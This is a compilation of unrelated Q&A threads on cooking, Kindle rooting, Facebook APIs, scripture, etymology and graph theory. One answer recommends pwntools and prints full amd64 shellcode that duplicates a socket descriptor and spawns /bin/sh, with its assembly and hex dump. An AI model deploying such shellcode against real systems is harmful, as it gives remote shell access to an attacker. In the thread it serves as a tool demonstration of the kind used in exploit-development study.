Comment: It's actually much more difficult to make a spanish tortilla with leftovers, and probably worse if they potatoes are cooked to falling apart.  You need sufficient heat in the potatoes so the eggs properly bind to them.  But your comment also made me think of potato pancakes (matafan, made w/ mashed potatoes, not latke style) and croquettes.  Maybe even gnocchi.  Or maybe even the topping for a shepherd's pie.
Comment: @Joe, yes, lightly cooked works better
Answer: Osmosis is your friend here.
If you have not mashed them yet, drain them, cover with fresh water, wait, repeat - until the salt level is acceptable. I think that would be difficult with a mash since you'd lose vegetable with each draining. You will probably need to do this in the refrigerator to allow sufficient time for the salt to diffuse out without having spoilage. If you elevate the veg above the bottom of the container, the process works better, as the heavier brine tends to collect in the bottom.
I happen to do this with salty olives (which conveniently float, so no rack is needed to elevate them) in order to reduce the salt level to one I find pleasant. I'd suggest at least 12 hours per change of water, and then another 12 without water to let the salt left equalize unless you want a "salty center" effect.
Comment: You don't want osmosis. Osmosis is the movement of water from an area of low solute concentration across a membrane to an area of high solute concentration. Osmosis would cause the salty vegetables to absorb water. I suspect that what you actually want is for the salt to diffuse out of the vegetables into the water; the problem with that is that all the other flavour compounds in the veggies will also be diffusing out.
Comment: This will wash away some of the flavors but still good solution.
Answer: If you are making lemon Greek potatoes like I was, you can rinse them, chop them in half, then soak them in water for 3-7 minutes.
There was enough flavour left after, and it seemed to get the heavy salt out of the outer half inch of potato.
Ultimately it made the whole potato taste much better, and the salt went from unbearable to unnoticeable with a dab of tzatziki.


How to downgrade, root, and install CM 12.1 on 5th gen Kindle Fire

Question: I just got an Amazon Kindle Fire 5th generation 7 inch tablet. I want to install CyanogenMod but during setup the tablet updated to 5.1.4 and root methods and therefore flash methods are not working.
Comment: I got two manuals on topic. Firstone is one about [downgrading](https://medium.com/@exesse/adb-downgrade-of-amazon-fire-5th-from-5-13-to-5-12-from-ubuntu-16-04-lts-4e78ec5d70ec#.8y00atd0u) and second one on [installing CM 12.1](https://medium.com/@exesse/cyanogen-mod-12-1-installation-on-amazon-fire-5th-gen-rom-unofficial-4f38b5190b63#.yg5wwl7hl). Good luck!
Comment: @VladislavKulbatski Does this work for downgrading from more recent firmware versions? My tablet is on 18.104.22.168, and I want to roll back to 184.108.40.206 for rooting.
Comment: @adam About kindle firmware versions  https://forum.xda-developers.com/showpost.php?p=62986665&postcount=3
Answer: If you plan on rooting a new Fire, it is advisable to not connect to the internet during setup to avoid forced updates. 5.1.2 is required to install CM. Note that 184.108.40.206 does not work but is displayed as just 5.1.2 in settings.
Enable debugging
From the Settings app open Device Options. Enable developer options by tapping on the serial number several times.
In Developer Options turn "Enable ADB" on.
Your tablet should ask to authorize your computer when it is plugged into the computer.
Downgrading
5.1.4 can be downgraded to 5.1.2. Needs Android platform-tools (adb) and the 5.1.2 firmware.
I retrieved the SuperTool and 5.1.2 firmware from http://rootjunkysdl.com/files/?dir=Amazon%20Fire%205th%20gen. ADB is also hosted there though I used my copy from the Android SDK.
Power off the Fire and connect it to your computer.
Hold volume down and power for about 10 seconds. A menu should appear.
Select "apply update from adb". (press volume up then power)
Run adb sideload fire-OS-5.1.2-update-kindle-global-188.8.131.52_user_542168620.bin
Wait for this to finish. The tablet will return to the boot menu.
Unplug and then press the power button to select the reboot option.
You should now be on firmware 5.1.2.
From here I connected to the internet and was not prompted to update my Fire.
Rooting
I used the RootJunky SuperTool to assist in rooting.
Choose option 6, "Root your Amazon Fire 5th gen" and follow the prompts. This will install RootKing. I had the most trouble here. RootKing may fail several times to gain root. You may want to manually reboot between attempts. When you get root, continue with the SuperTool prompts to install SuperSu.
Prevent 5.1.4 Update
Choose option 3 from SuperTool, "Block OTA Updates from Amazon" and follow the prompts.
Flashing CyanogenMod 12.1
Download from http://forum.xda-developers.com/amazon-fire/orig-development/rom-cm-12-1-2015-11-15-t3249416 CM 12.1.
From http://opengapps.org/ download the ARM-5.1-nano package.
Place both these zips on a micro sd card and insert it into your Fire.
With the SuperTool select option 2, "Install Google Play store". Use Google Play to install FlashFire.
Use FlashFire to prepare your device. In the bottom right corner is a red "+" to add actions. The defaults for the commands are fine. You may swipe away the hints in the command queue.
Add "Wipe".
Add "Flash ZIP/OTA" and select the CyanogenMod zip.
Add "Flash ZIP/OTA" and select the Open Gapps zip.
Move "Wipe" to the top of the command list.
Press the "Flash" button.
You should reboot into the CyanogenMod setup.
Extra Notes
CyanogenMod lets you enable root from developer options.
I had to install Google Play Games from APKMirror because the Play Store kept giving me error 505.
Kindle Fire specifications can be found on Amazon.
Comment: How dd you get the PlayStore on CyanogenMod?
Comment: @Tahlor playstore come from the open google apps package when flashing
Comment: Thanks, that makes sense.  I swear I did that initially but didn't get any of the GApps.  I ended up reinstalling KindleFlash on CyanogenMod and re-flashed the GApps.


Adding Facebook Photo objects to Open Graph Action

Question: I've created a timeline app that adds events to user's timelines in the past. I've noticed its simple to add tags, places, and external images to OG objects and actions.
However, I can't seem to find a good way to connect to a facebook photo (i.e. a photo from the user's albums).  Adding a link to the photo's picture in the images field doesn't work the expected way without an access token (which will presumably expire)
For example:  /namespace:action?image=http://graph.facebook.com/10100111692798728/picture will show a '?' photo (in aggregations and elsewhere) unless you pass a valid access token in too (that can't work permanently). This is presumably because whatever identity is going out to request the photo is not allowed to access it this way.
It doesn't seem like you can connect your own actions to photo objects either.  Is there a solution to this that I've missed.  I'd really like user's to be able to add a photo from their facebook albums to an action from my app (i.e. them doing the 'action'). It would be nice if you didn't have to point directly at an image on FB's CDN somewhere, it would be even nicer if there was a way to point directly at the FB open graph object.
Thanks,
Grant
Comment: No @Tony I didn't.  My understanding is that this kind of thing is not offered via Facebook's API right now.
Answer: It is possible to connect the action with Facebook photo like this:
POST /me/do:action?object=[objectId]&access_token=[valid access token]

If the [objectId] is an object id of existing photo - it will show the picture and correct link to the full size facebook photo on timeline.


Is six weeks before end date too early to ask for an internship extension?

Question: I'm currently a junior in college and am in an unpaid internship position for the summer. The internship started six weeks ago, and is slated to end the third week of August - therefore I'm about half way through the internship at the moment. I'm enjoying the work and have an opportunity to receive academic credit for it. However, to earn credit, I would need to continue the internship into the fall semester. I just found out about the credit earning potential today, and was wondering if it is too early to ask my boss about the extension. Much of the work can be done remotely without needing to work with others at the office, and there is currently an intern working remotely. Should I wait until closer to the end date to ask?
Answer:
I just found out about the credit earning potential today, and was
  wondering if it is too early to ask my boss about the extension.

No, it's not too early. Ask now.
Explain what you just learned and how much it would help you out.
Employers often plan projects in advance. It's possible your ability to be there for longer would make a difference.
The worst that can happen is that your boss says "No" or tells you to ask again later. Might as well find out now.
Comment: Some places also have really slow moving HR, so it might take weeks to approve an internship extension.
Answer: Absolutely set up a meeting with your supervisor as soon as possible to talk about your intentions. Saying it now, rather than waiting before the end of the summer, is beneficial for several reasons:
1) It shows you're serious about the position and any possible extension isn't just an afterthought
2) Allows you to convey enthusiasm about how much you're enjoying the program so far
3) Most importantly: provides an opportunity to get feedback from your supervisor on what you can do better so you can put that in action
Often times, those who wait until the end of an internship to bring up their interest in continuing are met with a "no" by their supervisor because of some level of weakness in performance. Asking what you can do to perform even better in the second half, even if you were doing fine all along, demonstrates that you take initiative and care about your impact at the company. If you make your goals clear now and ask what steps you can take to get there, it'd be hard not to achieve them.
Answer: I would ask as soon as possible. Explain the credit earning potential and that you only just became aware of it. If there's budgetting or scheduling involved for your manager, sooner is better. There's only downsides to waiting. Worst case, he says no right now, or asks you to send your request at a later date again.


Using Tamasic vegetables(Onion, Garlic mainly of significance here) in temples

Question: Is there any explicit rule in Indian vedas that states Onions should not be used for cooking in temples. I recently had a debate (Personally found it silly) and the research ended in Ayurvedic categorization of food. Now if vedas prohibts the usage of Onions, which are the other Tamasic vegitables in this category? Is this followed by all the temples?
Comment: Only Vamachari and Ignorant Temples use onion and garlic in Prasadams nearly all of the Vaishnava Temples follow the Achara niyamas in Vedas.
Comment: Can you please quote or direct me to the veda sources saying this. I want to know more about these food items and reasons for prohibiting this
Comment: @rbz Why? What is the difficulty in following the rules
Comment: Related: [Why is salty food and food from grains not consumed in Fasting?](https://hinduism.stackexchange.com/q/8074/1049)
Comment: @moonstar2001 Rules will be followed when they have a genuine purpose. Just trying to understand that here!
Comment: @rbz what makes you think you are qualified to judge the purpose of the rules? The rule may not be appealing to an individual in which case the course of action for the individual is to remove themselves from the circumstance. It does not befit the cause of dharma to wage war a la women in sani singanapur. Those who don't like the rules of dharma  must leave the fold of dharma.
Comment: @moonstar2001 I think you eat too much rajasic or tamasic food! I didn't said i want to be the judge on this topic, i said i wanted to understand. Don't get offended for a question and blurt out on rage. Imagine if Krishna told Arjuna to shut up and leave the battle ground just beacuse he didnt understand the purpose of all that was happening. Learn something from all you read before starting your rage comments. *Sigh*
Comment: Rage/annoyance  directed at those who question ancient wisdom of the sages because "rules will be followed when they have a genuine purpose" presuming that the rules y do not have a genuine purpose, is perfectly justified. You are disingenuous claiming to be "arjuna "now that you have been called out. Rest.
Comment: Wrong. Twisted. Abusive. This is a knowledge sharing platform. And i didn't question the ancienst wisdom but merely asked for the community to share that wisdom on the topic as i was in the dark. Any fool who can read and think can understand that. So you looks like a 9pm news reader while trying to justify the rage that you are admitting to. It's sad that people with your knowledge have this kind of issues. I suggest you do some Chinthana, after reading anything, before you think you learned it and have the right to show your rage on behalf of the ancient wisdom.
Comment: Even though i was just trying to make you understand the stupidity in your statement with an example, Since you twisted even that and said i claimed to be Arjuna. I got something for you. Aham Brahmasmi. Do all you can ever do but you still wont understand what does that mean untill you start doing some thinking with your own head on top of your ancient wisdom.Peace.
Answer: There is no mention of any prohibition of herbs like onion/garlic in Ayurveda. Infact Charaka Samhita (Sutrasthana Chapter 27) encourages the use of these herbs.

श्लेष्मलोमारुतघ्नश्चपलाण्डुर्नचपित्तनुत् ।
आहारयोगीबल्यश्चगुरुर्वृष्योऽथरोचनः॥१७५॥
SleShmalo mArutaGnaSca palANDurna ca pittanut | AhArayogI balyaSca
gururvRuShyo&tha rocanaH||175||
The onion/palandu (Allium cepa Linn) promotes kapha and is effective
in treating vata but not of pitta. It is a good adjuvant for food and
is a strength-enhancer, heavy, aphrodisiac and appetizing. [175]
क्रिमिकुष्ठकिलासघ्नोवातघ्नोगुल्मनाशनः।
स्निग्धश्चोष्णश्चवृष्यश्चलशुनःकटुकोगुरुः॥१७६॥
krimikuShThakilAsaGno vAtaGno gulmanASanaH| snigdhaScoShNaSca
vRuShyaSca laSunaH kaTuko guruH||176||
The garlic/lashuna (Allium sativum Linn.) is effective in treating
worms, dermatosis including leprosy, vata disorders and gulma. It is
unctuous, hot, aphrodisiac, pungent and heavy. [176]
शुष्काणिकफवातघ्नान्येतान्येषांफलानिच।
हरितानामयंचैषषष्ठोवर्गःसमाप्यते॥१७७॥ इतिहरितवर्गः
SuShkANi kaPavAtaGnAnyetAnyeShAM PalAni ca| haritAnAmayaM caiSha
ShaShTho vargaH samApyate||177|| iti haritavargaH
These in their dried condition and their fruits are effective in
curing kapha and vata. Thus, ends the sixth section on greens. [177]

However various Smritis and Puranas ban the usage of onion and garlic along with many other vegetables in everyday meals and naivedya. If it was forbidden in daily life of dvijas it is obvious it is forbidden in temples.
Manu Smriti Section 5 Verse 5 says this:

लशुनं गृञ्जनं चैव पलाण्डुं कवकानि च ।  अभक्ष्याणि
द्विजातीनाममेध्यप्रभवानि च ॥ ५ ॥
laśunaṃ gṛñjanaṃ caiva palāṇḍuṃ kavakāni ca |  abhakṣyāṇi
dvijātīnāmamedhyaprabhavāni ca || 5 ||
Garlic, leeks and onions, mushrooms and all that proceeds from impure things, are unfit to be eaten by twice-born men.—(5).

'Abhakshya' means 'forbidden' or food that is not meant to be eaten.
Gautama Sutra 17.32 (Prasna 2, Adhaya 8, Verse 32)[in Hindi from where I got the Sanskrit Verse]

किसलयः पञ्जवोऽग्रप्ररोहः । कयाकु( किम्पाकु)शच्छत्राक: । लशुनं
प्रसिद्धम् । निर्यासो वृक्षत्वग्भूतो घनोभूतो रसो हिङ्ग्वादिः ।
किसलयादयोऽप्यभक्ष्याः ।। ३२ ।।
32. Nor young sprouts, mushrooms, garlic, and substances exuding (from trees)

Apastamba Sutra Prasna 1 Patala 5 Khanda 17

26. (Likewise) red garlic, onions, and leeks.
27. Likewise anything else which (those who are learned in the law)
28. Mushrooms ought not to be eaten; that has been declared in a Brāhmaṇa;

Vasistha (14.33) and Vishnu (51.(3 , 34 , 36) prescribe penances for eating the following:

CHAPTER XIV
1.Now, therefore, we will declare what may be eaten and what may not be eaten.
33.For eating garlic, onions, mushrooms, turnips, Sleshmântaka, exudations from trees, the red sap flowing from incisions (in trees or
plants), food pecked at by crows or worried by dogs, or the leavings
of a Sûdra, an Atikrikkhra (penance must be performed).

3.Likewise, if he has (knowingly) eaten garlic, or onions, or red garlic,
or any plant which has a similar flavour (to that of garlic or
onions), or the meat of village pigs, of tame cocks (and other tame
birds), of apes, and of cows.
34.For eating (unawares the mushroom called) Khattrâka, or (the mushroom called) Kavaka, he must perform the Sântapana penance.
36.Likewise, (for eating unawares) the juice flowing from an incision in a tree, (plants raised in) unclean substances (such as excrements
and the like), and the red exudation of trees.

Vishnu Smriti (66.12) adds that 'abhakshya' foods may not be offered as naivedya.

नाभक्ष्यं नैवेद्यार्थे ।।१२॥
12. (He must) not (give) forbidden food at the offering of eatables;

Pauranic sources forbid similar type of vegetables.
Garuda Purana Moksa Khanda Chapter 14

वृन्ताकं चुक्रशाकश्च बिल्वमौदुंवरं तथा । पलाञ्जुर्लशुनं वृन्तं कलञ्जं
च तथा द्विजा ॥ ३,१४.४३ ॥
I shall now tell you of things that have no essence.
42-47. The chaff of gram, Medhyā (a fruit-bearing plant), gruel, the holy basil, parched or fried grain, Upodvaji, gourd, Kosalaki (?) the
egg plant, tamarind, Bilva fruit, Udumbara fruit, onion, garlic-these
are essenceless in all times.

Kurma Purana Vol 2 Chapter 17

वृन्ताकं जालिका शाकं कुसुम्भाश्मन्तकं तथा। १८॥ पलाण्डु लसुनं सूक्तं
निर्यासं चैव वर्जयेत्।
छन्राकं विड्वराहञ्च शैलं पीयूषमेव च॥ १९॥ विलयं सुमुखजैव कवकानि च
वर्जयेत्।
The brinjals, the vegetables, safflower, asmantaka (a kind of plant), onion, garlic, sour articles, the gum of the trees, should
not be accepted.
Similarly, the mushrooms, the village boar, Sleymantaka fruit, bee stings, or the milk of a cow during the first seven days of
calving, the eatables named Simukha, and the mushroom, should be
discarded.

Skanda Purana Kasi Khanda Chapter 40

Hence I shall tell you what things are prohibited. By avoiding them from afar, a man can prevent his fall in hell.

9. Onion, shit-thriving pigs, Šelu, garlic, carrot, Gopiyusa (milk of a cow before the lapse of ten days from calving), Tanduliya (a
grain growing in faecal rubbish) and mushrooms all these are to be
avoided.

Padma Purana Bhumi Khanda (pg 788) Chapter 56 [The entire Padma Purana is included in this link]

19b-24. (But) he should avoid egg-plant, stalks of lotuses, safflower,
gold or silver, onion, garlic, sour gruel, a thick fluid substance; so
also chatraka (a kind of mushroom), vidvaraha, greasy milk of a cow
during the first seven days of calving, vilaya (a particular product
of milk) and mushrooms.
By eating the small red variety of garlic, blossoms of kimsuka, a
gourd, so also udumbara, bottle-gourd, a twice-born becomes fallen.

Brahma Khanda (pg 830) Chapter 19 says the same.

O brahmana, a man who eats an onion, garlic, a potherb, bottlegourd, a
small red variety of garlic and meat, should observe the
Candrayana-vow.

Additionally Padma Purana in Brahma Khanda Chapter 9 describes how Alakshmi (Jyestha) was asked to reside in onions and garlic and mushrooms.

Then Alaksmi (i.e. Evil Fortune), of a dark face and red eyes, having
rough and tawny hair, and having an old body, sprang up. She,the
eldest one, said to the gods: "What should I do?"
O you eldest one, causing filth, your stay will be in the houses of
those mean men who eat mushrooms and a left-over coconut. There is no
doubt that you will stay in the houses of those men of sinful
thoughts, who eat sesamum-flour, bottle-gourd, garlic, shoots of young
plants, a species of kadamba (called kalambaka) and onions.

Chapter 232 (pg 1622) of Uttara Khanda says the same. Perhaps this is the reason why onion garlic and other vegetables are not consumed.

Jyestha Devi, covered with gems, wreaths and garments came up. When
the goddess came up, she said: "What should I do?"
O goddess, causing poverty, always live in the house of those who eat
sesamum, flesh of animals struck with a poisoned weapon, kalinga,
pot-herb, garlic, mushrooms, vid-varaha, bilva, kosataki-fruit,
bottle-gourd, and onions.


Run Bash script before every print job

Question: I'm using refilled printer cartridges that don't show ink levels, so I made a bash script that keeps count of printed pages (from CUPS log) and shows a warning when it reaches about 200 pages (known limit for the cartridge). Is there a way to run this script every time CUPS does a print job?
Answer: You could try using incron to trigger the script whenever the cups log changes.

Run Bash script before every print job


Apart from place names, are there any Native American words used in English?

Question: Apart from place names, are there any Native American words used in English?
Answer: Mark Rosenfelder has a list.  So too does Wikipedia
Here is a partial selection of those which I might use
Words from Algonquian languages:
Caribou
Chipmunk
Eskimo
Hickory
Hominy
Husky
Moccasin
Moose
Mugwump
Muskrat
Opossum
Papoose
Pecan
Pemmican
Persimmon
Powwow
Raccoon
Skunk
Squash
Squaw
Terrapin
Toboggan
Tomahawk
Totem
Wampum
Wigwam
Woodchuck
Words from Nahuatl:
Avocado
Cacao/cocoa
Chicle
Chili
Chocolate
Coyote
Guacamole
Mesquite
Mezcal
Ocelot
Peyote
Shack
Tomato
Words from Quechua:
Coca
Cocaine
Condor
Guano
Inca
Jerky
Llama
Pampa
Puma
Quinine
Vicuña
Words from Eskimo-Aleut languages:
Anorak
Igloo
Kayak
Words from Arawakan languages:
Barbecue
Cacique
Caiman
Canoe
Cassava
Cay
Guava
Hammock
Hurricane
Iguana
Maize
Mangrove
Papaya
Potato
Savanna
Tobacco
Yuca
Words from Tupi-Guaraní languages:
Cashew
Cayenne
Cougar
Jaguar
Maraca
Macaw
Petunia
Piranha
Tapioca
Tapir
Toucan
Words from other indigenous languages of the Americas:
Abalone
Alpaca
Bayou
Cannibal
Chinook
Coypu
Manatee
Poncho
Potlatch
Sequoia
Sockeye
Comment: +1 for this very exhaustive list.  I missed quite a few of them it appears !!
Answer: Everyday English

tuxedo - the etymology1 is worth citing in extenso.

1889, named for Tuxedo Park, N.Y.,
  site of a country club where it first
  was worn in 1886. The name is an
  attractive subject for elaborate
  speculation, e.g.:
The Wolf tribe in New York was called in scorn by other Algonquians
   from tuksit: round foot, implying that they
  easily fell down in surrender. In
  their region thus came the names
  Tuxedo and Tuxedo Lake, which were
  acquired by the Griswold family in
  payment of a debt. There the family
  established the exclusive Tuxedo Club,
  and there in the late 1880s Griswold
  Lorillard first appeared in a dinner
  jacket without tails, a tuxedo. By a
  twist of slang, one may now refer to a
  man in a tuxedo as a 'wolf. [Shipley]
But in another version of the story,
  p'tuksit was the Algonquian word for
  "wolf," the animal, perhaps from the
  shape of its paws. The authoritative
  Bright, however, says the tribe's name
  probably is originally a place name,
  perhaps Munsee Delaware (Algonquian)
  p'tuck-sepo "crooked river." Short
  form tux is attested from 1922.

Animals

skunk - meaning "urinating fox".

Algonquian language (probably Abenaki)
  seganku, from Proto-Algonquian
  */šeka:kwa/, from */šek-/ "to urinate" + */-a:kw/ "fox."

cariboo - meaning "scratcher"

caribou, from Micmac (Algonquian)
  kaleboo, lit. "pawer, scratcher," from
  its kicking snow aside to feed on moss
  and grass, or a related Algonquian
  name

opossum - meaning "white animal".

from Powhatan (Algonquian) apasum
  "white animal."

wampum - meaning "string of white". (credits to @The Raven)

shortened from wampumpeag (1620s),
  from Algonquian (probably
  Narragansett) wanpanpiak "string of
  white (shell beads)," from wab "white" + ompe "string" + pl. suffix -ag.

Plants

Squash (pumpkin) - meaning "green things that may be eaten raw"

Shortened borrowing from Narraganset
  (Algonquian) askutasquash, lit. "the
  green things that may be eaten raw,"
  from askut "green, raw" + asquash
  "eaten

For Native Americans **everyday life** items

squaw,

from Massachuset (Algonquian) squa
  "woman" (cf. also Narraganset squaws
  "woman")

papoose,

from Narragansett (Algonquian) papoos
  "child," lit. "very young."

wigwam

from Algonquian (probably Eastern
  Abenaki) wikewam "a dwelling," said to
  mean lit. "their house;" also said to
  be found in such formations as wikiwam
  and Ojibwa wiigiwaam and Delaware
  wiquoam

1: All etymologies cited from etymonline.
Comment: @The Raven, thx I added "wampum" to the Animals category. Thx.
Answer: In addition to the information given above, there is a book-length treatment of this subject in:
Cutler, Charles L. O Brave New Words: Native American loanwords in current English. Norman : University of Oklahoma Press, 1994. 286 pages.
It's an enjoyable read.
Answer: Muckamuck, high muckamuck, or high muckity muck, a not flattering slang term for an important person.  It comes from Hiu muckamuck, a Chinook jargon phrase that means "plenty to eat."


How many edges are cut in a balanced partition of a graph?

Question: Consider a graph on n nodes and e edges that is partitioned into k "balanced" subgraphs in the sense that each block has an equal number of nodes and the number of cut edges is minimized. Is there a formula for the number of cut edges in this situation?
Comment: Your question is not well defined. Graph partitioning algorithms are based on what you are trying to optimize. For example that could be the cut edges themselves.
Comment: You are right on that. I have clarified the question
Answer: Even in the current updated version of the question, it still remains ill defined. There many different ways by which you can partition a graph into symmetric (or balanced if you like) clusters. One question that you might have in mind but have problem expressing is the minimum multisection (or partition): Given a graph $G$ find a symmetric partition $P$ of its vertices such that it minimizes the edges between different clusters.
In which case the answer is that the problem is NP-hard [1] and moreover it is NP-hard to approximate within a constant factor [2].
[1] L. Hyafil and R. L. Rivest. Graph partitioning and constructing optimal decision trees are polynomial complete problems. 1973.
[2] K. Andreev and H. Racke. Balanced graph partitioning. 2004.


Python library for assembling x86, x64 and ARM exploits

Question: It would be very useful to have a pure Python library that could assemble x86, x64, and ARM instructions. Do you have a recommendation?
I don't mind if they are not pure Python, but that'd be preferred.
Answer: Some Python assembler libraries:
Pyasm - Python x86 Assembler

Pyasm is a full-featured dynamic assembler written entirely in Python. By dynamic, it means that it can be used to generate and execute machine code in python at runtime without requiring the generation of object files and linkage. It essentially allow 'inline' assembly in Python modules on x86 platforms.

pyasm2

An easy and powerful assembler engine in Python. Although it's called pyasm2, this is not per se a successor of Pyasm or pyASM. pyasm2 aims to be as flexible as possible, it will support x86, SSE and SSE2.

d00ks

d00ks is an ARM assembler and simulator.

AsmJit-Python

AsmJit is a complete JIT and remote assembler for C++ language. It can generate native code for x86 and x64 architectures and supports the whole x86/x64 instruction set - from legacy MMX to the newest AVX2. It has a type-safe API that allows C++ compiler to do a semantic checks at compile-time even before the assembled code is generated or run.
Comment: None of these assemble x86/x64 *and* ARM.
Answer: Take a look at Gallopsled's pwntools.  Does all the things you want it to, and has most of it built in already.
https://github.com/Gallopsled/pwntools
For a few examples of it in use, I put up some writeups from Codegate 2013 and the pwnies do their own writeups as well.
Here's a quick example of "I want to dup file descriptor #4 (e.g. a connected TCP socket) to stdin/stdout/stderr, and pop a shell".
#!/usr/bin/env python
from pwn import *
context.arch = 'amd64' # Default architecture is i386

shellcode = shellcraft.dupio(4) + shellcraft.sh()
print shellcode
print '----'
print enhex(asm(shellcode))
print '----'
print hexdump(asm(shellcode))

Prints out
dup_1:
    push 4
    pop rbp

    push 3
loop_2:
    pop rsi
    dec rsi
    js after_3
    push rsi

    /* call dup2('rbp', 'rsi') */
    push SYS_dup2 /* 0x21 */
    pop rax
    mov rdi, rbp
    syscall

    jmp loop_2
after_3:
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

----
6a045d6a035e48ffce780b566a21584889ef0f05ebef6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05
----
00000000  6a 04 5d 6a  03 5e 48 ff  ce 78 0b 56  6a 21 58 48  │j·]j│·^H·│·x·V│j!XH│
00000010  89 ef 0f 05  eb ef 6a 68  48 b8 2f 62  69 6e 2f 2f  │····│··jh│H·/b│in//│
00000020  2f 73 50 48  89 e7 68 72  69 01 01 81  34 24 01 01  │/sPH│··hr│i···│4$··│
00000030  01 01 31 f6  56 6a 08 5e  48 01 e6 56  48 89 e6 31  │··1·│Vj·^│H··V│H··1│
00000040  d2 6a 3b 58  0f 05                                  │·j;X│··│
00000046
0490a0e30280a0e30900a0e10810a0e13f0090ef018058e2faffff5a0c008fe20020a0e305002de90d10a0e10b0090ef2f62696e2f736800
0000a0e31eff2fe1

They've also got nifty command-line tools for testing shellcode.  For example:
$ pwn shellcraft i386.linux.echo "Hello world"
6801010101813424736d6501686f20776f6848656c6c6a04586a015b89e16a0b5acd80

If you pipe it to a file or another program, raw binary is sent.
$ pwn shellcraft i386.linux.echo "Hello world" | xxd
00000000: 6801 0101 0181 3424 736d 6501 686f 2077  h.....4$sme.ho w
00000010: 6f68 4865 6c6c 6a04 586a 015b 89e1 6a0b  ohHellj.Xj.[..j.
00000020: 5acd 80                                  Z..

You can print out the raw annotated assembly:
$ pwn shellcraft i386.linux.echo "Hello world" -f asm
/* push 'Hello world' */
push 0x1010101
xor dword ptr [esp], 0x1656d73
push 0x6f77206f
push 0x6c6c6548
/* call write('1', 'esp', 0xb) */
push SYS_write /* 4 */
pop eax
push (1) /* 1 */
pop ebx
mov ecx, esp
push 0xb
pop edx
int 0x80

Or generate an ELF:
$ pwn shellcraft i386.linux.echo "Hello world" --format elf > hello
$ file hello
hello: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

And even automatically execute or debug it:
$ pwn shellcraft ... --run
$ pwn shellcraft ... --debug

You can also assemble your own shellcode on the command-line:
$ pwn asm nop
90
$ pwn asm nop | xxd
00000000: 90                                       .

Answer: Today, several years after the original post and answers - There's another noteworthy package for generating machine code from assembly- Keystone.
Keystone is written in C++ but has binding for many languages (Python included), and supports multiple architectures (including x86, amd64 and ARM) so it's a perfect fit!
Quoting the website's highlighted features:

Multi-architecture, with support for Arm, Arm64 (AArch64/Armv8), Ethereum Virtual Machine, Hexagon, Mips, PowerPC, Sparc, SystemZ, & X86 (include 16/32/64bit).
Clean/simple/lightweight/intuitive architecture-neutral API.
Implemented in C/C++ languages, with bindings for Java, Masm, Visual Basic, C#, PowerShell, Perl, Python, NodeJS, Ruby, Go, Rust, Haskell & OCaml available.
Native support for Windows & *nix (with Mac OSX, Linux, *BSD & Solaris confirmed).
Thread-safe by design.
Open source.

Keystone is part of a more extensive set of tools together with Capstone (Disassembler) and Unicorn (Emulator).
Additionally, if you just want something quick and easy (and don't mind using an online service) - shell-storm's online dis/assembler is also based on Keystone and Capstone


How do you extract friends' birthday and contact information from Facebook?

Question: I'm tired of Facebook trying to get a hold of all my data and then sharing it with everyone. Can someone tell me a method of getting my friends' birthday and contact information out of Facebook so I can finally quit? I've tried the Yahoo import method but that only exports email addresses. I've also tried all applications like "Birthday exporter" etc and they export nothing (literally, their .csv files are empty!).
Comment: See also: http://webapps.stackexchange.com/questions/3699/export-contacts-from-facebook-the-painless-methods
Answer: You can use Greasemonkey to extract your Facebook Phonebook:

Install Greasemonkey for Firefox.
Follow these instructions to install the script. The script is on Userscripts at http://userscripts.org/scripts/show/43681.
Navigate over to http://m.facebook.com/friends.php? (You'll have to login).
Answer yes to the prompt and sit back – the script will move through your phonebook and eventually dump you a CSV of the results.
Copy/Paste the CSV wherever you want.
Uninstall the Greasemonkey script.

There is also an application named FBExport which is claimed to export your all Facebook data.

Facebook Export uses the Facebook Open
  Graph protocol to export your Facebook
  data to an xml file. Facebook Export
  does not store any data about you. You
  can then use this xml file to import
  your data to other services and
  websites that support the Facebook
  Export (FBE) format.
Comment: Removed possible malware link. Chrome gave me "The website at shout.setfive.com contains elements from the site three.birkdalehomesforsale.com, which appears to host malware – software that can hurt your computer or otherwise operate without your consent. Just visiting a site that contains malware can infect your computer." when visiting that link. @Mehper: please use a different link instead.
Comment: Strange. I'm using Firefox and haven't received any warning. Anyway, I'm editing my answer to give full instructions.
Comment: @Senseful: No problem :)
Comment: Hey, I tried the GreaseMonkey script, and it didn't show the CSV file, I guess they hard coded the URLs and that's why it's not working. I also tried the other application, but the only information that it allowed me to export was my own. Are any other alternatives? Thanks.
Answer: Log-in to Facebook
goto
Birthdays > Export Birthdays (bottom of the page)
This will give you a URL, copy the URL and either send this to MS Outlook as an ical or use Thunderbird (with Lightning plug-in to display calenders) to create a new calender and give above URL as location.
Note : if you use any other application that supports ical format, this should work.
Answer: Contact information
The "cleanest" way of doing this is by using a Yahoo account because Yahoo has an import mechanism of Facebook contacts (email addresses).

Go to the Contacts tab of Yahoo Mail
Click Import Contacts button
Choose Facebook
Click OK in the pop up from Facebook asking "Do you want to share your contacts with Yahoo!"
Click Done when it gives you the Congratulations summary
(now you can either do an export into a file to then import these contacts to your email account/address book, or stop here if you have sync with Yahoo in place; I'll give instructions on creating the extract)
Click on the Actions drop-down menu in the main Contacts screen and choose Export All...
Choose the appropriate format of the export from the available options.

Birthdays

Go to the Birthdays events page on Facebook: http://www.facebook.com/?sk=bd&ap=1
At the bottom of the page choose Export birthdays
Copy the link from the pop up window (this is the link to the online calendar containing birthdays)
Use the link to import/attach the birthday calendar to your calendar application (like Outlook or Google Calendar)
Comment: I am investigating a way for downloading phone numbers of the friends and will edit the answer/comment accordingly.
Answer: There is a Facebook Friend Exporter Chrome extension that can extract your Facebook data


Is there a written, authoritative source I can reference for interpretations (Bunkai) of Karate (Shotokan) katas?

Question: I'd like to learn more about the various applications and interpretations of Karate katas. Is there a written source I can use?
Comment: By interpretations, are you meaning [bunkai](http://en.wikipedia.org/wiki/Bunkai)?
Comment: Yes, I mean bunkai.
